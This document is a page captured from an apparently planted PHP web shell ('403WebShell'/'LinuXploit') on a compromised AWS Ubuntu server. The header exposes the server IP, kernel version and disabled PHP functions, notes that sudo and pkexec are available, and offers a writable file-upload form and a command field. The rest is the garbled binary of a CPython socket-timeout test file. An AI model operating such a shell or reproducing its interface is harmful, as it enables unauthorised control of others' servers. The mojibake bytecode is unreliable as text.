Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_timeout.cpython-310.pyc
o

�9j�+�@s�dZddlZddlZddlmZddlmZe�d�Zddl	Z	ddl
Z
ddlZe��dd��Z
Gdd	�d	ej�ZGd
d�dej�ZGdd
�d
e�ZGdd�de�Zdd�Zedkr`e��dSdS)z&Unit tests for socket timeout feature.�N)�support)�
socket_helper�networkcCsJt�|��t�||tjtj�ddWd�S1swYdS)z�Resolve an (host, port) to an address.

    We must perform name resolution before timeout tests, otherwise it will be
    performed by connect().
    r�N)r�transient_internet�socket�getaddrinfo�AF_INET�SOCK_STREAM)�host�port�r
�(/usr/lib/python3.10/test/test_timeout.py�resolve_addresss���$�rc@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�CreationTestCasez9Test case for socket.gettimeout() and socket.settimeout()cC�t�tjtj�|_dS�N)rr	r
�sock��selfr
r
r�setUp�zCreationTestCase.setUpcC�|j��dSr�r�closerr
r
r�tearDown"�zCreationTestCase.tearDowncCs|�|j��dd�dS)Nztimeout not disabled by default)�assertEqualr�
gettimeoutrr
r
r�testObjectCreation%s�z#CreationTestCase.testObjectCreationcCs^|j�d�|�|j��d�|j�d�|�|j��d�|j�d�|�|j��d�dS)Ng�z�Ga@�)r�
settimeoutrrrr
r
r�testFloatReturnValue*sz%CreationTestCase.testFloatReturnValuecCsP|j�d�|�t|j���td��|j�d�|�t|j���td��dS)N���?g333333@)rr!r�typerrr
r
r�testReturnType5szCreationTestCase.testReturnTypecCs�|j�d�|j�d�|j�d�|j�d�|�t|jjd�|�t|jjd�|�t|jjd�|�t|jjg�|�t|jji�|�t|jjd�dS)Nr��r
y)rr!�assertRaises�	TypeErrorrr
r
r�
testTypeCheck=szCreationTestCase.testTypeCheckcCs:|�t|jjd�|�t|jjd�|�t|jjd�dS)N���g�)r)�
ValueErrorrr!rr
r
r�testRangeCheckJszCreationTestCase.testRangeCheckcCs�|j�d�|j�d�|�|j��d�|j�d�|�|j��d�|j�d�|j�d�|�|j��d�|j�d�|�|j��d�dS)N�
TFr')rr!�setblockingrrrr
r
r�testTimeoutThenBlockingPsz(CreationTestCase.testTimeoutThenBlockingcCsX|j�d�|j�d�|�|j��d�|j�d�|j�d�|�|j��d�dS)NFr#T)rr0r!rrrr
r
r�testBlockingThenTimeout^sz(CreationTestCase.testBlockingThenTimeoutN)
�__name__�
__module__�__qualname__�__doc__rrrr"r&r+r.r1r2r
r
r
rrs
rc@s*eZdZdZejZdd�ZeZdd�Z	dS)�TimeoutTestCaseg@cCst��r)�NotImplementedErrorrr
r
rrtszTimeoutTestCase.setUpc	Gs�|j�|�t|j|�}t|�D]%}t��}z||�Wqty5}z
t��|}WYd}~n
d}~ww|�d�|�|||j	�|�
||d�dS)z�
        Test the specified socket method.

        The method is run at most `count` times and must raise a TimeoutError
        within `timeout` + self.fuzz seconds.
        NzTimeoutError was not raisedr$)rr!�getattr�range�time�	monotonic�TimeoutError�fail�
assertLess�fuzz�
assertGreater)	r�count�timeout�method�args�i�t1�e�deltar
r
r�_sock_operationys��
zTimeoutTestCase._sock_operationN)
r3r4r5r@r�HOST�	localhostrrrJr
r
r
rr7isr7c@s\eZdZdZdd�Zdd�Ze�dd�dd	��Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dS)�TCPTimeoutTestCasez3TCP test case for socket.socket() timeout functionscCs"t�tjtj�|_tdd�|_dS)Nzwww.python.org.�P)rr	r
rr�addr_remoterr
r
rr�szTCPTimeoutTestCase.setUpcCrrrrr
r
rr�rzTCPTimeoutTestCase.tearDownTz*need to replace these hosts; see bpo-35518c
Cs"tdd�}tdd�}d}t�tjtj�}tj}|�|�z1z|�|�Wn"ty-Ynt	yF}z|j
t
jkr<d}WYd}~nd}~wwW|��~n|��~w|rj|�
d�|d|d	||d|d	��||_t�|jd��|�d	d
d|j�Wd�dS1s�wYdS)Nzblackhole.snakebite.netiZ�zwhitehole.snakebite.neti[�TFz�We didn't receive a connection reset (RST) packet from {}:{} within {} seconds, so we're unable to test connect timeout against the corresponding {}:{} (which is configured to silently drop packets).rr#g����MbP?�connect)rrr	r
r�LOOPBACK_TIMEOUTr!rPr=�OSError�errno�ECONNREFUSEDr�skipTest�formatrOrrrJ)r�	blackhole�	whitehole�skiprrC�errr
r
r�testConnectTimeout�sF


������"�z%TCPTimeoutTestCase.testConnectTimeoutcCsTt�|jd��|j�|j�|�dddd�Wd�dS1s#wYdS)Nrr#��?�recv�)rrrOrrPrJrr
r
r�testRecvTimeout�s"�z"TCPTimeoutTestCase.testRecvTimeoutcCs,t�|j|j�|j��|�ddd�dS)Nr#r\�accept)r�	bind_portrrL�listenrJrr
r
r�testAcceptTimeout�s
z$TCPTimeoutTestCase.testAcceptTimeoutcC�pt�tjtj��&}t�||j�|��|j�|�	��|�
ddddd�Wd�dS1s1wYdS)N�dr\�send�X�@
�rr	r
rrarLrbrrP�getsocknamerJ�r�servr
r
r�testSend��"�zTCPTimeoutTestCase.testSendc	Csvt�tjtj��)}t�||j�|��|j�|�	��|�
ddddd|�	��Wd�dS1s4wYdS)Nrer\�sendtorgrhrirkr
r
r�
testSendtos�"�zTCPTimeoutTestCase.testSendtocCrd)Nrer\�sendallrgrhrirkr
r
r�testSendallrnzTCPTimeoutTestCase.testSendallN)r3r4r5r6rr�unittest�skipIfr[r_rcrmrprrr
r
r
rrM�s

Q	
rMc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�UDPTimeoutTestCasez3UDP test case for socket.socket() timeout functionscCrr)rr	�
SOCK_DGRAMrrr
r
rrrzUDPTimeoutTestCase.setUpcCrrrrr
r
rrrzUDPTimeoutTestCase.tearDowncCs$t�|j|j�|�dddd�dS)Nr#r\�recvfromr^)rrarrLrJrr
r
r�testRecvfromTimeoutsz&UDPTimeoutTestCase.testRecvfromTimeoutN)r3r4r5r6rrrxr
r
r
rrus
rucCst�d�dS)Nr)r�requiresr
r
r
r�setUpModule%rrz�__main__)r6�	functoolsrs�testr�test.supportr�is_resource_enabled�
skip_expectedr;rSr�	lru_cacher�TestCaserr7rMrurzr3�mainr
r
r
r�<module>s(
M'�

Youez - 2016 - github.com/yon3zu
LinuXploit